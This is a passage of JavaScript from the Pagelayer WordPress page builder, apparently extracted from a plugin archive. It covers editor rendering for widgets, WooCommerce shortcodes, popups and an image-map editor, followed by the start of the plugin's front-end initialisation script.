function(response){ html_element += '
'; html_element += ''+el.atts['title']+''; html_element += response; html_element += '
'; //jEle.find('.pagelayer-sitemap-section').html(html_element); el.atts['sitemap_html'] = html_element; } }); }else{ if(pagelayer_empty(el.atts['title'])){ el.atts['title'] = 'Categories'; } data_type = el.atts['source_taxonomy']; post_order = el.atts['order_taxonomy']; order = el.atts['order']; hier = el.atts['hierarchical']; depth = el.atts['depth']; empty = el.atts['hide_empty']; jQuery.ajax({ type: "POST", url: pagelayer_ajax_url+'&action=pagelayer_get_taxonomy_list', data: { "type": data_type , "post_order": post_order, "order": order, "hier": hier, "depth": depth, "empty": empty, pagelayer_nonce: pagelayer_ajax_nonce }, async:false, success: function(response){ html_element += '
'; html_element += ''+el.atts['title']+''; html_element += response; html_element += '
'; //jEle.find('.pagelayer-sitemap-section').html(html_element); el.atts['sitemap_html'] = html_element; } }); } }; // Render the fb button function pagelayer_render_pl_fb_btn(el){ jEle = el.$; if(el.atts['link_type'] == "current"){ el.atts['custom-url'] = pagelayer_post_permalink; } pagelayer_fb_apps(el.$); }; // Render the fb embed function pagelayer_render_pl_fb_embed(el){ pagelayer_fb_apps(el.$); }; // Render the fb page function pagelayer_render_pl_fb_page(el){ pagelayer_fb_apps(el.$); }; // Render the fb comments function pagelayer_render_pl_fb_comments(el){ jEle = el.$; if(el.atts['link_type'] == "current"){ el.atts['custom-url'] = pagelayer_post_permalink; } pagelayer_fb_apps(el.$); }; // Render the slides function pagelayer_render_end_pl_slides(el){ pagelayer_owl_destroy(el.$, '.pagelayer-slides-holder'); pagelayer_pl_slides(el.$); } // Render the Single Review function pagelayer_render_end_pl_review(el){ var jEle = el.$.find('.pagelayer-stars-container'); pagelayer_stars(jEle); } // Render the Review Slider function pagelayer_render_end_pl_review_slider(el){ pagelayer_owl_destroy(el.$, '.pagelayer-reviews-holder'); pagelayer_reviews_slider(el.$); } // Render the template content function pagelayer_render_pl_templates(el){ el.atts['template_content'] = ''; if( !pagelayer_empty(el.atts['templates']) ){ jQuery.ajax({ url: pagelayer_ajax_url+'&action=pagelayer_apply_revision&revisionID='+el.atts['templates'], type: 'post', data: { pagelayer_nonce: pagelayer_ajax_nonce, 'pagelayer-live' : 1, }, success: function(response, status, xhr){ var obj = jQuery.parseJSON(response); if(obj['error']){ pagelayer_show_msg(obj['error'], 'error'); el.CSS.css.push({'sel': '{{element}} .pagelayer-template-content', 'val': 'min-height:20px;background-color:#e3e3e3;'}); }else{ el.$.find('.pagelayer-template-content').html(obj['content']); var selector = el.$.find('.pagelayer-template-content .pagelayer-ele'); //pagelayer_element_setup(selector, true); //selector.find('.pagelayer-ele-overlay').remove(); // Unwrap the wraps if(selector.parent().is('.pagelayer-ele-wrap')){ selector.unwrap(); } } } }); }else{ el.CSS.css.push({'sel': '{{element}} .pagelayer-template-content', 'val': 'min-height:20px;background-color:#e3e3e3;'}); } } ///////////////////////////// ////WooCommerce Shortcode Js ///////////////////////////// var product_data_timer = {}; function pagelayer_ajax_do_shortcodes(el, success){ var jEle = el.$; var shortcode_data = pagelayer_generate_sc(jEle, true); // Clear any previous timeout clearTimeout(product_data_timer[el.id]); // Set a timer for constant change product_data_timer[el.id] = setTimeout(function(){ // Make the call jQuery.ajax({ url: pagelayer_ajax_url+'&action=pagelayer_do_shortcodes', type: 'POST', data: { pagelayer_nonce: pagelayer_ajax_nonce, shortcode_data: shortcode_data }, success: function(data){ if(typeof success == 'function'){ success(data); return; } var container = jQuery(data).find(success); if(container.length > 0){ data = container.html(); } el.$.find(success).html(data); } }); }, 200); } // Render the product image function pagelayer_render_pl_product_images(el){ el.atts['product_images_templ'] = ''; var success = function(data){ var container = jQuery(data).find('.pagelayer-product-images-container'); if(container.length > 0){ data = container.html(); } el.$.find('.pagelayer-product-images-container').html(data); jQuery(".woocommerce-product-gallery").each( function() { jQuery(this).wc_product_gallery(); }); } pagelayer_ajax_do_shortcodes(el, success); } // Render product price function pagelayer_render_pl_product_price(el){ pagelayer_ajax_do_shortcodes(el, '.pagelayer-product-price-container'); } function pagelayer_render_pl_product_short_desc(el) { pagelayer_ajax_do_shortcodes(el, '.pagelayer-product-short-desc'); } // Render product add to cart function pagelayer_render_pl_add_to_cart(el){ pagelayer_ajax_do_shortcodes(el, '.pagelayer-add-to-cart-holder'); } // Render product product meta function pagelayer_render_pl_product_meta(el){ pagelayer_ajax_do_shortcodes(el, '.pagelayer-product-meta'); } // Render product product meta function pagelayer_render_pl_product_addi_info(el){ pagelayer_ajax_do_shortcodes(el, '.pagelayer-addi-info-container'); } // Render product product meta function pagelayer_render_pl_product_data_tabs(el){ pagelayer_ajax_do_shortcodes(el, '.pagelayer-data-tabs-container'); } // Render product product rating function pagelayer_render_pl_product_rating(el){ pagelayer_ajax_do_shortcodes(el, '.pagelayer-product-rating'); } // Render the related product function pagelayer_render_pl_product_related(el){ el.atts['related_products'] = ''; pagelayer_ajax_do_shortcodes(el, '.pagelayer-product-related-container'); } // Render the WooCommerce pages function pagelayer_render_pl_woo_pages(el){ el.atts['page_content'] = ''; var shortcode =''; // if is not empty if( !pagelayer_empty(el.atts['pages']) ){ shortcode = '['+ el.atts['pages'] +']'; } jQuery.ajax({ url: pagelayer_ajax_url+'&action=pagelayer_do_shortcodes', type: 'post', data: { pagelayer_nonce: pagelayer_ajax_nonce, shortcode_data: shortcode, }, success: function(response){ // If the content is empty if(pagelayer_empty(response)){ response = '
Content not found
'; } // if is checkout page if ( 'woocommerce_checkout' === el.atts['pages'] && '
' == $content ) { response = '
Your cart is currently empty.
'; } el.$.find('.pagelayer-woo-pages-container').html(response); } }); } // Render the WooCommerce pages function pagelayer_render_pl_product_categories(el){ el.atts['product_categories'] = ''; // Clear any previous timeout clearTimeout(product_data_timer[el.id]); // Set a timer for constant change product_data_timer[el.id] = setTimeout(function(){ jQuery.ajax({ url: pagelayer_ajax_url+'&action=pagelayer_product_categories', type: 'post', data: { pagelayer_nonce: pagelayer_ajax_nonce, atts: el.atts, }, success: function(response){ el.$.find('.pagelayer-product-categories-container').html(response); } }); }, 200); } // Render the archive products function pagelayer_render_pl_product_archives(el){ el.atts['product_archives'] = ''; pagelayer_ajax_do_shortcodes(el, '.pagelayer-product-archives-container'); } // Render the products function pagelayer_render_pl_products(el){ el.atts['products_content'] = ''; // Clear any previous timeout clearTimeout(product_data_timer[el.id]); // Set a timer for constant change product_data_timer[el.id] = setTimeout(function(){ jQuery.ajax({ url: pagelayer_ajax_url+'&action=pagelayer_products_ajax', type: 'post', data: { pagelayer_nonce: pagelayer_ajax_nonce, atts: el.atts, }, success: function(response){ el.$.find('.pagelayer-products-container').html(response); } }); }, 200); } // Render the products function pagelayer_render_end_pl_woo_menu_cart(el){ var success = function(data){ var html = jQuery(data).find('.pagelayer-woo-menu-cart-container').html(); el.$.find('.pagelayer-woo-menu-cart-container').html(html); pagelayer_woo_menu_cart(el.$); } pagelayer_ajax_do_shortcodes(el, success); } // Function to sticky the element on render, if sticky attr is set pagelayer_add_action('pagelayer_sc_render_end', function(e, el){ // Is there any adding_attribute attribute then initialize in editor if(el.atts['ele_attributes']){ pagelayer_add_attributes(el); } // Is there any scrolling effects then initialize in editor if(el.atts['ele_scrolling_effects']){ pagelayer_scrolling_effects(el.$); } // Is there any mouse effects then initialize in editor if(el.atts['ele_mouse_effects']){ pagelayer_mouse_effects(el.$); } //console.log(el); if(pagelayer_empty(el.atts['ele_sticky_pos'])){return;} // Do sticky the elemen pagelayer_ele_sticky_handler(el.$); }); // Adding Custom Attributes var pagelayer_custom_attr = {}; function pagelayer_add_attributes(el){ // Remove all attributes first if(el.id in pagelayer_custom_attr){ pagelayer_custom_attr[el.id].forEach(function(item, index){ el.$.removeAttr(item); }); } pagelayer_custom_attr[el.id] = []; // Then create attributes var val = pagelayer_trim(el.atts['ele_attributes'].split(';')); val.forEach(function(item, index){ // Split from first equal only var splitValue = item.split(/=(.*)/); var attKey = pagelayer_trim(splitValue[0]); pagelayer_custom_attr[el.id].push(attKey); if(attKey.length < 1 || pagelayer_empty(attKey.match(/^[a-z_]+[\w:.-]*$/i))){ return; } if(splitValue.length < 2){ el.$.attr(attKey, ''); return; } el.$.attr(attKey, splitValue[1]); }); } // Function to always show Popup when editing the popup pagelayer_add_action('pagelayer_setup_history', function(){ if(!('pagelayer_template_type' in pagelayer_post && pagelayer_post['pagelayer_template_type'] == 'popup')){ return; } jQuery(pagelayer_editable).wrap('
'+ '
'+ '
'+ '
'+ '
'+ '
'); pagelayer.$$('.pagelayer-settings-icon, .pagelayer-settings').attr('pagelayer-tag', 'pl_popup'); pagelayer.$$('.pagelayer-settings').click(); pagelayer_popup_setup(jQuery('[pagelayer-popup-editor="1"]')); }); pagelayer_last_popup = {anim:'', close: ''}; // Render the pop-up function pagelayer_render_end_pl_popup(el){ // If the anim is same dont render animation again if(pagelayer_last_popup.anim == el.atts['popup_animation'] && pagelayer_last_popup.close == el.atts['popup_cbtn_position']){ return; } // Set the new type pagelayer_last_popup.anim = el.atts['popup_animation']; pagelayer_last_popup.close = el.atts['popup_cbtn_position']; var modal = el.$.closest('.pagelayer-popup-modal'); if(modal.length > 0){ pagelayer_popup_setup(modal); } } // Render the call to action widget function pagelayer_render_pl_call(el){ el.tmp['cta_image-url'] = el.tmp['cta_image-url'] || el.atts['cta_image']; } //Render before after slider function pagelayer_render_pl_before_after(el){ el.tmp['before_image-url'] = el.tmp['before_image-url'] || el.atts['before_image']; el.tmp['after_image-url'] = el.tmp['after_image-url'] || el.atts['after_image']; } function pagelayer_render_end_pl_before_after(el){ pagelayer_before_after_slider(el.$); } // Render the image map function pagelayer_render_pl_image_map(el){ el.atts['map_img_id'] = el.tmp['img_map-id-'+el.atts['img_map-size']+'-url'] || el.tmp['map_img-id-url']; el.atts['map_img_id'] = el.atts['map_img_id'] || el.atts['map_img-id']; el.atts['pagelayer-srcset'] = el.atts['map_img_id']+', '+el.atts['map_img_id']+' 1x, '; if (el.atts['pagelayer_image_map']) { el.atts['pagelayer_map_path'] = ''; for (const key in el.atts['pagelayer_image_map']) { const data_cord = el.atts['pagelayer_image_map'][key]?.path || ''; const data_id = key; const data_link = el.atts['pagelayer_image_map'][key]?.link || ''; el.atts['pagelayer_map_path'] += ``; } } var image_atts = { name : 'map_img-id', size : 'img_map-size' }; pagelayer_get_img_src(el, image_atts); } function pagelayer_render_end_pl_image_map(el){ // Re-render image maps pagelayer_pl_image_map(el.$); // Re-render image map handler pagelayer_imgmap_handler(el.$); } // Image Map handler function pagelayer_imgmap_handler(jEle){ var mapObj = pagelayer_get_att(jEle,'pagelayer_image_map') || {}, sEle = jEle.find('svg'), cordWrap = jEle.find('.pagelayer-imgmap-coordinates-wraper'), toolbar = jEle.find('.pagelayer-imgmap-toolbar'), wrap = jEle.find('.pagelayer-imgmap-wrapper'); // Cords drag handler var handle_cord_drag = function(jEle){ var cordEle = jEle.find('.pagelayer-imgmap-coord'); var isDragging = false; const stopDragging = () => { isDragging = false; cordEle.removeClass('pagelayer-mapele-dragging').off('mouseup click'); jQuery(document).off('mouseup.imgmap'); }; cordEle.off('mousedown').on('mousedown', function (e) { e.stopPropagation(); e.preventDefault(); if (jQuery(e.target).hasClass('pagelayer-imgmap-remove-cord')) return; isDragging = true; jQuery(this).addClass('pagelayer-mapele-dragging').mouseup(stopDragging).click(stopDragging); jQuery(document).on('mouseup.imgmap', stopDragging); sEle.off('mouseup mousemove'); sEle.mouseup(function(e){ isdragging = false; }); sEle.mousemove(function (e) { if (!isDragging) return; const dragEle = jEle.find('.pagelayer-imgmap-coord.pagelayer-mapele-dragging'); if (!dragEle.length) return; const xPer = ((e.offsetX / wrap.width()) * 100).toFixed(2); const yPer = ((e.offsetY / wrap.height()) * 100).toFixed(2); dragEle.css({ left: `${xPer}%`, top: `${yPer}%` }); update_active_element_coordinates(xPer, yPer, dragEle.data('id')); }); }); } // Update active element's coordinates var update_active_element_coordinates = function(x, y, id){ const activeEle = jEle.find('.pagelayer-imgmap-item.pagelayer-map-item-active'); const coords = activeEle.attr('data-cord').split(','); coords.splice(id * 2, 2, x, y); activeEle.attr('data-cord', coords.join(',')); pagelayer_resize_imgmap(jEle); }; // Delete cord handler var cord_delete_handler = function(e){ e.stopPropagation(); const parent = jQuery(this).parent(); const cordPos = parent.attr('data-id'); const activeEle = sEle.find('.pagelayer-map-item-active'); const activeEleId = activeEle.attr('data-id'); // Remove coordinates const cords = activeEle.attr('data-cord').split(','); cords.splice(cordPos * 2, 2); activeEle.attr('data-cord', cords.join(',')); parent.remove(); // Reindex coordinates and resize the image map jEle.find(`.pl-cord-${activeEleId}`).each((index, elem) => { jQuery(elem).attr('data-id', index); }); pagelayer_resize_imgmap(jEle); } // Map items click handler var handleClick = function(){ if(sEle.find('.pagelayer-map-item-active').length > 0){ return; } sEle.find('.pagelayer-map-item-active_is_editable').removeClass('pagelayer-map-item-active_is_editable') var imageMapItem = jQuery(this).addClass('pagelayer-map-item-active_is_editable'); set_toolbar_editable(true, 'selected'); // Edit map item toolbar.find('.pagelayer-map_edit').off('click').on('click', function (e){ e.preventDefault(); editItem(imageMapItem); }); jEle.on('click.handleOutsideClick', function(event){ event.preventDefault(); if(sEle.find('.pagelayer-map-item-active').length > 0){ return; } if(!jQuery(event.target).hasClass('pagelayer-imgmap-item')){ imageMapItem.removeClass('pagelayer-map-item-active_is_editable'); set_toolbar_editable(false, 'selected'); set_toolbar_editable(false); jEle.off('click.handleOutsideClick'); } }); } // Remove image map item var remove_map_item = function(id){ if(id in mapObj) delete mapObj[id]; pagelayer_set_atts(jEle, 'pagelayer_image_map', mapObj); handle_navigator(id, 'delete'); cordWrap.find('.pl-cord-'+id).remove(); jEle.find('.pagelayer-imgmap-item[data-id="'+id+'"]').remove(); } // Edit Map Item var editItem = function(imageMapItem){ setTimeout(() => { set_toolbar_editable(true); imageMapItem.removeClass('pagelayer-map-item-active_is_editable').addClass('pagelayer-map-item-active'); sEle.css('cursor', 'crosshair'); var updatedActId = imageMapItem.attr('data-id'); var link = (mapObj[updatedActId] && mapObj[updatedActId].link && mapObj[updatedActId].link.length > 0) ? mapObj[updatedActId].link : ''; if (link.length > 0) toolbar.find('.pagelayer-map_href').css('color', 'blue'); cordWrap.find(`.pl-cord-${updatedActId}`).show(); toolbar.find('.pagelayer-imgmap-toolbar-link input[type=text]').val(link); handle_navigator(updatedActId, 'set_active'); handle_cord_drag(jEle); cordWrap.find('.pagelayer-imgmap-remove-cord').off('click').on('click', cord_delete_handler); }, 100); } // Add Toolbar if(toolbar.length < 1){ var toolbarHtml = `
Navigator
`; toolbar = wrap.append(toolbarHtml).find('.pagelayer-imgmap-toolbar'); } var linkWrap = toolbar.find('.pagelayer-imgmap-toolbar-link'), linkEle = linkWrap.find('input[type="text"]'), navigator = toolbar.find('.pagelayer-imgmap-navigator'), navigatorWrap = navigator.find('.pagelayer-imgmap-navigator-wrap'); // Change mode of Toolbar var set_toolbar_editable = function(on = true, mode = 'edit'){ var edit = mode; var select = mode == 'edit'? 'selected' : 'edit'; // Toggle editing options if(on){ toolbar.addClass('pagelayer-imgmap-'+edit); toolbar.removeClass('pagelayer-imgmap-'+select); return; } toolbar.removeClass('pagelayer-imgmap-'+edit); } // On move Toolbar toolbar.find('.pagelayer-imgmap-toolbar-mover').off('mousedown').on('mousedown', e => { e.preventDefault(); toolbar.addClass('pagelayer-imgmap-toolbar-dragging'); sEle.on('mousemove', e => { toolbar.hasClass('pagelayer-imgmap-toolbar-dragging') && toolbar.css({ left: `${e.offsetX - 5}px`, top: `${e.offsetY - 5}px` }); }); jQuery(document).off('mousedown.pl_svg_ele').on('mouseup.pl_svg_ele', () => { toolbar.removeClass('pagelayer-imgmap-toolbar-dragging'); sEle.off('mousemove'); }); }); // Toolbar actions toolbar.find('.pagelayer-imgmap-toolbar-item').off('click').on('click', function(e){ e.stopPropagation(); var tEle = jQuery(this), activeEle = sEle.find('.pagelayer-map-item-active'), actEleId = activeEle.attr('data-id'), isEditing = false; if(linkEle.length < 1) toolbar.find('.pagelayer-map_href').css('color', 'inherit'); sEle.css('cursor','initial'); // Add new map item if(tEle.hasClass('pagelayer-map_append')){ var eleId = pagelayer_randstr(6), attrs = [ ['d',''], ['data-id', eleId], ['stroke-linejoin', 'round'], ['fill-rule', 'evenodd'], ['fill-opacity', '0.3'], ['stroke-width', '2'], ['data-cord', '{{data}}'], ['data-link', '{{link_href}}'] ], pathEle = pagelayer_create_imgmap_svg(['pagelayer-imgmap-item', 'pagelayer-map-item-active'], attrs); handle_navigator(eleId, 'append', true); sEle.find('g')[0].appendChild(pathEle); sEle.find('.pagelayer-imgmap-item').on('click', handleClick); isEditing = true; } // Remove map item if(tEle.hasClass('pagelayer-map_remove')){ let activeId = sEle.find('.pagelayer-map-item-active, .pagelayer-map-item-active_is_editable').attr('data-id'); remove_map_item(activeId); } // Link to map item if(tEle.hasClass('pagelayer-map_href')){ toolbar.find('.pagelayer-imgmap-toolbar-link').fadeToggle(); isEditing = true; } // Save map item cords if(tEle.hasClass('pagelayer-map_save')){ if(cordWrap.find('.pl-cord-' + actEleId).length < 3){ return alert('Please draw at least 3 coordinates!'); } var finalValues = activeEle.attr('data-cord') || '', currentItem = navigatorWrap.find(`.pagelayer-imgmap-navigator-item[data-id="${actEleId}"]`), title = currentItem.find('.pagelayer-imgmap-navigator-title').text(); mapObj[actEleId] = mapObj[actEleId] || {}; mapObj[actEleId].path = finalValues || ''; mapObj[actEleId].title = title || ''; pagelayer_set_atts(jEle, 'pagelayer_image_map', mapObj); jQuery('.pagelayer-map_href').css('color', linkWrap.css('display') == 'block' && linkEle.val() ? 'blue' : 'inherit'); handle_navigator(actEleId, 'reset_active'); cordWrap.find('.pl-cord-' + actEleId).hide(); cordWrap.find('.pagelayer-imgmap-coord').removeClass('pagelayer-mapele-dragging'); sEle.find('.pagelayer-imgmap-item').removeClass('pagelayer-map-item-active'); } // Toggle editing options set_toolbar_editable(isEditing); }); // Save link of map items jEle.find('.pagelayer-imgmap-save-link').click(function() { let parent = jQuery(this).parent(); let actEleId = sEle.find('.pagelayer-map-item-active').data('id'); mapObj = mapObj || {}; (mapObj[actEleId] = mapObj[actEleId] || {}).link = parent.find('input').val() || ''; parent.fadeOut(); }); // SVG click handler and add new cords to map items sEle.off('click').on('click', function(e){ var activeEle = sEle.find('.pagelayer-map-item-active'); if(activeEle.length < 1){ toolbar.css({ left: e.offsetX - 15, top: e.offsetY - 40 }); return; } linkEle.val(''); // Reset Link field sEle.css('cursor','crosshair'); // Change cursor property var [mapWidth, mapHeight] = [wrap.width(), wrap.height()]; var [xPer, yPer] = [(e.offsetX / mapWidth * 100).toFixed(2), (e.offsetY / mapHeight * 100).toFixed(2)]; var coords = (activeEle.attr('data-cord') || ''); coords = (coords == '{{data}}' || coords == '') ? [] : coords.split(','); coords.push(xPer, yPer); activeEle.attr('data-cord', coords); // Append cordinates const cordLen = cordWrap.find(`.pl-cord-${activeEle.attr('data-id')}`).length; const coordHTML = `
`; cordWrap.append(coordHTML); setTimeout(() => pagelayer_resize_imgmap(jEle), 100); handle_cord_drag(jEle); cordWrap.find('.pagelayer-imgmap-remove-cord').off('click mousedown').on('click', cord_delete_handler); }); // Map items click handler sEle.find('.pagelayer-imgmap-item').on('click', handleClick); // Toggle navigator toolbar.find('.pagelayer-map-list-trigger').off('click').on('click', function(){ navigator.toggle(); }); navigator.find('.pagelayer-imgmap-navigator-close').on('click',function(){ navigator.hide(); }); // Navigator item move handler var navigator_move_item = function(curEle, is_next = false) { const arr = Object.keys(mapObj); const curPos = arr.indexOf(curEle); if (curPos === -1 || (curPos === 0 && !is_next) || (curPos === arr.length - 1 && is_next)) { return false; } const swapIndex = is_next ? curPos + 1 : curPos - 1; [arr[curPos], arr[swapIndex]] = [arr[swapIndex], arr[curPos]] mapObj = arr.reduce((newEl, key) => ({ ...newEl, [key]: mapObj[key] }), {}); pagelayer_set_atts(jEle, 'pagelayer_image_map', mapObj); const elem = jEle.find(`path[data-id="${curEle}"]`); is_next ? elem.next().after(elem) : elem.prev().before(elem); return true; } // Navigator handler var handle_navigator = function(id, opr = 'append', is_active = false){ if (!id) return; const item = navigatorWrap.find(`.pagelayer-imgmap-navigator-item[data-id="${id}"]`); switch(opr){ case 'append': if (item.length > 0) return; const wrapItems = navigatorWrap.children('.pagelayer-imgmap-navigator-item').length + 1; const cls = is_active ? 'pagelayer-navigator-item-active' : ''; const title = mapObj[id]?.title || `Map Item ${wrapItems}`; const content = `
${title}
${['Move Up', 'Edit', 'Delete', 'Move Down'].map((action, i) => ` `).join('')}
`; navigatorWrap.append(content); var trigger = navigatorWrap.find('.pagelayer-map-navigator-trigger'); trigger.off('click').on('click', function(e){ e.stopPropagation(); var eleId = jQuery(this).val(); if(jQuery(this).hasClass('navigator_pagelayer-map_edit')){ const activeEle = sEle.find('.pagelayer-map-item-active'); // Multi Item editing if(activeEle.length > 0){ if(eleId === activeEle.attr('data-id')) return; toolbar.find('.pagelayer-imgmap-toolbar-item.pagelayer-map_save').click(); } let iEle = jEle.find(`.pagelayer-imgmap-item[data-id="${eleId}"]`); iEle.on('click', editItem(iEle)); }else if (jQuery(this).hasClass('navigator_move_down') || jQuery(this).hasClass('navigator_move_up')){ const par = jQuery(this).closest('.pagelayer-imgmap-navigator-item'); const moveUp = jQuery(this).hasClass('navigator_move_up'); const sibling = moveUp ? par.prev() : par.next(); if(sibling.length > 0){ navigator_move_item(eleId, !moveUp); moveUp ? sibling.before(par) : sibling.after(par); } }else if(jQuery(this).hasClass('navigator_pagelayer-map_remove')){ remove_map_item(eleId); toolbar.removeClass('pagelayer-imgmap-edit'); } }); // Make title editable navigatorWrap.find(`.pagelayer-imgmap-navigator-item[data-id="${id}"] .pagelayer-imgmap-navigator-title`).off('blur').on('click', function (){ const editable = jQuery(this).attr('contenteditable', 'true').focus(); const oldVal = editable.text().trim(); editable.on('blur', function (e) { const newValue = editable.text().trim(); if (!newValue) { alert('Error changing title'); editable.text(oldVal); }else{ mapObj[id].title = newValue; pagelayer_set_atts(jEle, 'pagelayer_image_map', mapObj); } editable.attr('contenteditable', 'false').off('blur'); }); }); break; case 'delete': item.remove(); break; case 'reset_active': navigatorWrap.find('.pagelayer-imgmap-navigator-item').removeClass('pagelayer-navigator-item-active'); break; case 'set_active': if(!item.hasClass('pagelayer-navigator-item-active')){ item.addClass('pagelayer-navigator-item-active'); jQuery('.pagelayer-imgmap-navigator-wrap').animate({ scrollTop: 0 }); } break; } } // Build Navigator if(Object.keys(mapObj).length > 0){ for (var mapId in mapObj) { handle_navigator(mapId); } } pagelayer_resize_imgmap(jEle); jQuery(window).on('resize', function(){pagelayer_resize_imgmap(jEle)}); }PK-Y\AIIjs/combined.jsnu[/* PAGELAYER http://pagelayer.com/ (c) Pagelayer Team */ var pagelayer_doc_width; // Things to do on document load jQuery(document).ready(function(){ // Current width pagelayer_doc_width = jQuery(document).width(); // Rows jQuery('.pagelayer-row-stretch-full').each(function(){ pagelayer_pl_row_full(jQuery(this)); }); jQuery('.pagelayer-anim_heading').each(function(){ pagelayer_anim_heading(jQuery(this)); }); // Setup any sliders jQuery('.pagelayer-image_slider').each(function(){ pagelayer_pl_image_slider(jQuery(this)); }); jQuery('.pagelayer-accordion').each(function(){ pagelayer_pl_accordion(jQuery(this)); }); jQuery('.pagelayer-collapse').each(function(){ pagelayer_pl_collapse(jQuery(this)); }); jQuery('.pagelayer-tabs').each(function(){ pagelayer_pl_tabs(jQuery(this)); }); jQuery('.pagelayer-video').each(function(){ pagelayer_pl_video(jQuery(this)); }); jQuery('.pagelayer-image').each(function(){ pagelayer_pl_image(jQuery(this)); }); jQuery('.pagelayer-grid_gallery').each(function(){ pagelayer_pl_grid_lightbox(jQuery(this)); }); jQuery('.pagelayer-row, .pagelayer-inner_row, .pagelayer-col').each(function(){ pagelayer_pl_row_video(jQuery(this)); }); jQuery('.pagelayer-parallax-window img').each(function(){ pagelayer_pl_row_parallax(jQuery(this)); }); jQuery('.pagelayer-recaptcha, .pagelayer-g-recaptcha-v3-token').each(function(){ pagelayer_recaptcha_loader(jQuery(this)); }); jQuery('.pagelayer-wp_menu').each(function(){ pagelayer_primary_menu(jQuery(this)); }); jQuery('.pagelayer-contact').each(function(){ pagelayer_contact_form(jQuery(this)); }); jQuery('.pagelayer-countdown').each(function(){ pagelayer_countdown(jQuery(this)); }); jQuery('.pagelayer-testimonial_slider').each(function(){ pagelayer_pl_testimonial_slider(jQuery(this)); }); jQuery('.pagelayer-social_grp').each(function(){ pagelayer_pl_social_profile(jQuery(this)); }); jQuery('.pagelayer-scroll-to-element').each(function () { pagelayer_button_element_scroll(jQuery(this)); }); jQuery('.pagelayer-bgimg-slider').each(function () { pagelayer_pl_row_slider(jQuery(this)); }); jQuery('.pagelayer-stars-container').each(function(){ pagelayer_stars(jQuery(this)); }); jQuery('.pagelayer-infinite-posts').each(function(){ pagelayer_infinite_posts(jQuery(this)); }); jQuery('.pagelayer-youtube-video').each(function(){ pagelayer_create_yt_player(jQuery(this)); }); // We need to call the is visible thing to show the widgets loading effect if(jQuery('.pagelayer-counter-content,.pagelayer-progress-container').length > 0){ // First Call pagelayer_counter(); pagelayer_progress(); jQuery(window).scroll(function() { pagelayer_progress(); pagelayer_counter(); }); } new WOW({boxClass:'pagelayer-wow'}).init(); // Remove pagelayer-wow temporary style after wow init added from wp_head jQuery('#pagelayer-wow-animation-style').remove(); }); // For automatic row change jQuery(window).resize(function() { // Primary Menu jQuery('.pagelayer-wp_menu').each(function(){ pagelayer_primary_menu(jQuery(this)); }); var new_vw = jQuery(document).width(); if(new_vw == pagelayer_doc_width){ return false; } pagelayer_doc_width = new_vw; // Remove style jQuery('.pagelayer-row-stretch-full').removeAttr('style'); // Set a timeout to prevent bubbling setTimeout(function(){ jQuery('.pagelayer-row-stretch-full').each(function(){ pagelayer_pl_row_full(jQuery(this)); }); }, 200); }); // Get document for gutenberg function pagelayerGetDocumentElement(){ // Find the iframe element with the name "editor-canvas". const editorIframe = document.querySelectorAll( 'iframe[name="editor-canvas"]' ); if(! editorIframe?.[ 0 ]){ return document; } // Get the document of the iframe. const iframeDocument = editorIframe[ 0 ]?.contentWindow?.document || editorIframe[ 0 ]?.contentDocument; if ( ! iframeDocument ) { return document; } // Set the root element to the iframe document. return iframeDocument; }; // Get Window for gutenberg function pagelayerGetCurrentWindow(){ var doc = pagelayerGetDocumentElement(); return doc.defaultView || window; } // Modify jQuery for gutenberg tablet and mobile function pagelayer_query(sel, doc) { doc = doc || pagelayerGetDocumentElement(); return jQuery(sel, doc); } // Check if element is visible function pagelayer_isVisible(ele) { var win = pagelayerGetCurrentWindow(); var offset = win.innerHeight; var viewTop = win.pageYOffset; var viewBottom = viewTop + offset - Math.min(ele.height(), ele.innerHeight()); var top = ele.offset().top; var bottom = top + ele.innerHeight(); if(top <= viewBottom && bottom >= viewTop){ return true; } return false; } // Get media mode function pagelayer_get_media_mode(){ var win = pagelayerGetCurrentWindow(); if(win.matchMedia("(min-width: "+ (pagelayer_settings['tablet_breakpoint'] + 1) +"px)").matches){ return 'desktop'; } if(win.matchMedia("(max-width: "+ pagelayer_settings['tablet_breakpoint'] +"px) and (min-width: "+ (pagelayer_settings['mobile_breakpoint'] + 1) +"px)").matches){ return 'tablet'; } if(win.matchMedia("(max-width: "+ pagelayer_settings['mobile_breakpoint'] +"px)").matches){ return 'mobile'; } return 'desktop'; } // Row background video and parallax function pagelayer_pl_row_video(jEle){ var vEle = jEle.children('.pagelayer-background-video'); // Not a video in the element if(vEle.length < 1){ return true; } var setup = vEle.attr('pagelayer-setup'); if(setup && setup.length > 0){ return true; } var frame_width = vEle.width(); var frame_height = (frame_width/100)*56.25; var height = vEle.height(); if(frame_height < height){ frame_height = height; } vEle.children().css({'width':frame_width+'px','height':frame_height+'px'}); if(vEle.find('.pagelayer-youtube-video').length > 0){ pagelayer_create_yt_player(vEle.find('.pagelayer-youtube-video')); } vEle.attr('pagelayer-setup', 1); } function pagelayer_create_yt_player(jEle){ var pEle = jEle.parent(), aspectRatioSetting = '16:9', containerWidth = pEle.outerWidth(), containerHeight = pEle.outerHeight(), aspectRatioArray = aspectRatioSetting.split(':'), aspectRatio = aspectRatioArray[0] / aspectRatioArray[1], isWidthFixed = containerWidth / containerHeight > aspectRatio, width= isWidthFixed ? containerWidth : containerHeight * aspectRatio, height= isWidthFixed ? containerWidth / aspectRatio : containerHeight; var yt_api_interval = setInterval(function(){ if(!(window.YT && YT.loaded)){ return } clearInterval(yt_api_interval); var settings ={}; settings.loop = jEle.attr('data-loop'); settings.videoid = jEle.attr('data-videoid'); settings.mute = jEle.attr('data-mute'); var player; var onPlayerReady = function(event) { event.target.playVideo(); } player = new YT.Player(jEle[0], { width: width, height: height, videoId: settings.videoid, playerVars: { controls: 0, rel: 0, loop: settings.loop, mute:settings.mute, playsinline: 1, playlist: settings.videoid, }, events: { 'onReady': onPlayerReady, } }); }, 500); } // Row background parallax function pagelayer_pl_row_parallax(jEle){ //Parallax background var setup = jEle.attr('pagelayer-setup'); if(setup && setup.length > 0){ return true; } new pagelayerParallax(jEle); jEle.attr('pagelayer-setup', 1); } // Adjust rows function pagelayer_pl_row_full(jEle, html){ html = html || pagelayer_query('html'); // Get current width var vw = html[0].clientWidth; // Now give the row the width jEle.css({'width': vw, 'max-width': '100vw'}); // Set the offset jEle.offset({left: 0}); // Set a timeout as well as some themes can interfere with us setTimeout(function(){ jEle.offset({left: 0}); }, 500); }; // Modal open function pagelayer_render_pl_modal(e){ jQuery(e.target).closest('.pagelayer-modal-container').find('.pagelayer-modal-content').show(); }; // Modal close function pagelayer_pl_modal_close(e){ jQuery(e.target).closest('.pagelayer-modal-content').hide(); } // Setup the 